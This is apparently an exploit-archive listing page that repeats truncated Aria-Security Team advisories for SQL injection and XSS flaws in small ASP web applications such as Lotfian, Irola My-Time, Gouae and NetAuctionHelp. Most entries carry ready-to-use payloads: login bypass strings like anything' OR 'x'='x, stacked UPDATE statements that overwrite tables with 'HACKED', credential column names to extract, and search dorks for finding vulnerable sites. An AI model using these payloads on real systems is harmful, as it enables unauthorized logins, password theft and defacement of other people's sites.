lotfiandb-sql.txt

Aria-Security Team http://Aria-Security.Net ----------------------------- DATABASE DRIVEN TRAVEL SITE Vendor: Lotfian.com NewsDetails.asp?NewsID=''UPDATE gtsNews set NewsDescription='HACKED' UPDATE gtsNews set NewsTitle='HACKED' Destination.asp?CID=''UPDATE gtsCountry set CountyName='HACKED'...

Lotfian.com DATABASE DRIVEN TRAVEL SITE - SQL Injection

Lotfian.com DATABASE DRIVEN TRAVEL SITE - SQL Injection Aria-Security Team http://Aria-Security.Net ----------------------------- DATABASE DRIVEN TRAVEL SITE Vendor: Lotfian.com NewsDetails.asp?NewsID=''UPDATE gtsNews set NewsDescription='HACKED' UPDATE gtsNews set NewsTitle='HACKED'...

Lotfian.com DATABASE DRIVEN TRAVEL SITE - SQL Injection

Aria-Security Team http://Aria-Security.Net ----------------------------- DATABASE DRIVEN TRAVEL SITE Vendor: Lotfian.com NewsDetails.asp?NewsID=''UPDATE gtsNews set NewsDescription='HACKED' UPDATE gtsNews set NewsTitle='HACKED' Destination.asp?CID=''UPDATE gtsCountry set CountyName='HACKED'...

bttlxe-sqlxss.txt

Aria-Security Team http://Aria-Security.Net ----------------------------- Discovered By: Mormoroth Shout outs The-0utlaw for completing the vuln. I.SQL Injection http://site.ltd/myaccount/viewProfile.asp?member='update Members set ProfileName='hacked';-- This Changes MemberList...

Aria-Security.Net: PenPals Login and search page SQL Injection

--------------------------- Aria-Security Team http://Aria-Security.Net ---------------------------- Original Advisory @ http://aria-security.net/forum/showthread.php?p=1148 Shout outs to : AurA TLOTD http://ankoor.com/ vendor Dork:Powered By Anblik Affected fileS: search.asp login.asp 'group by...

lotfian-sqlxss.txt

Aria-Security Team http://Aria-Security.Net ---------------------------------------- Lotfian Brochure and cataloge Script XSS And SQL Injection Original Advisory @ http://aria-security.net/forum/showthread.php?p=1135 Username/Password Field can run SQL Queries, For Example I got these:...

Lotfian Brochure and cataloge Script XSS And SQL Injection

Aria-Security Team http://Aria-Security.Net ---------------------------------------- Lotfian Brochure and cataloge Script XSS And SQL Injection Original Advisory @ http://aria-security.net/forum/showthread.php?p=1135 Username/Password Field can run SQL Queries, For Example I got these:...

irola-sql.txt

Aria-Security Team http://Aria-Security.Net ----------------------------- Original Advisory and more details @ http://aria-security.net/forum/showthread.php?p=1106 Irola My-Time v3.5 http://www.irola.com Username/Password Fields can run SQL Queries. Therefore: We get the Tables: UserInfo.UserID...

gouae-sql.txt

Aria-Security Team, http://Aria-Security.net ------------------------------- Shout Outs: AurA, Vendor: http://gouae.com Original Page: http://aria-security.net/forum/showthread.php?p=1116 Username: Admin Password: anything' OR 'x'='x More Advisories @...

coolshot-sql.txt

Aria-Security Team http://aria-security.net ------------------------------------- CoolShot E-Lite POS 1.0 http://coolshot.net/index.php/works/49-e-lite-pos Original Advisory @ http://aria-security.net/forum/showthread.php?p=1108post1108 Published on November 24 2007 users.userid users.username...

nahc-sql.txt

Aria-Security Team http://Aria-Security.Net ------------------------------------------ Original Advisory @ http://aria-security.net/forum/showthread.php?p=1111 Try it online @ http://ads.netauctionhelp.com needed tables: tblMember.id tblMember.login tblMember.pswd Vulnarable Page: Login.asp Run...

Aria-Security.Net: Gouae DWD Realty SQL Injection

Aria-Security Team, http://Aria-Security.net ------------------------------- Shout Outs: AurA, Vendor: http://gouae.com Original Page: http://aria-security.net/forum/showthread.php?p=1116 Username: Admin Password: anything' OR 'x'='x More Advisories @...

jiros-sql.txt

Aria-Security Team, http://Aria-Security.net ------------------------------- Shout Outs: AurA, imm02tal Vendor: http://www.jiros.ne Google Search: JBS v2.0, Powered by JiRo´s.Net Path: files/login.asp Username: anything' OR 'x'='x Password: anything' OR 'x'='x Regards, The-0utl4w Credits Goes To...

vumailer-sql.txt

Aria-Security Team, http://Aria-Security.net ------------------------------- Shout Outs: AurA, imm02tal Vendor: http://vunet.us Login Page Default.asp Password: anything' OR 'x'='x Regards, The-0utl4w Credits Goes To Aria-Security.Net...

nah-sql.txt

Aria-Security Net Original Advisory @ http://aria-security.net/forum/showthread.php?p=1099 ------------------------ Vendor: http://www.netauctionhelp.com PoC: search.asp?sort=ni&category=&categoryname=&kwsearch=&nsearch=SQL INJECTION...

clickbanex-sql.txt

------------------------------- Aria-Security Team, http://Aria-Security.net ------------------------------- Shout Outs: AurA, imm02tal http://icash.ch/index.html?ClickAndRank/details.asp Username: anything' OR 'x'='x Password: anything' OR 'x'='x Regards, The-0utl4w From Aria-Security.Net...

NetAuctionHelp Classified Ads v1.0 SQL Injection

Aria-Security Team http://Aria-Security.Net ------------------------------------------ Original Advisory @ http://aria-security.net/forum/showthread.php?p=1111 Try it online @ http://ads.netauctionhelp.com needed tables: tblMember.id tblMember.login tblMember.pswd Vulnarable Page: Login.asp Run...

Irola My-Time 3.5 Remote SQL Injection Vulnerability

No description provided by source. Aria-Security Team http://Aria-Security.Net ----------------------------- Original Advisory @ http://aria-security.net/forum/showthread.php?p=1106 Vendor: http://www.irola.com Username/Password Fields can run SQL Queries. Therefore: We get the Tables:...

Irola My-Time 3.5 - SQL Injection

Aria-Security Team http://Aria-Security.Net ----------------------------- Original Advisory @ http://aria-security.net/forum/showthread.php?p=1106 Vendor: http://www.irola.com Username/Password Fields can run SQL Queries. Therefore: We get the Tables: UserInfo.UserID UserInfo.Login...

Aria-Security.net: Irola My-Time v3.5 SQL Injection

Aria-Security Team http://Aria-Security.Net ----------------------------- Original Advisory and more details @ http://aria-security.net/forum/showthread.php?p=1106 Irola My-Time v3.5 http://www.irola.com Username/Password Fields can run SQL Queries. Therefore: We get the Tables: UserInfo.UserID...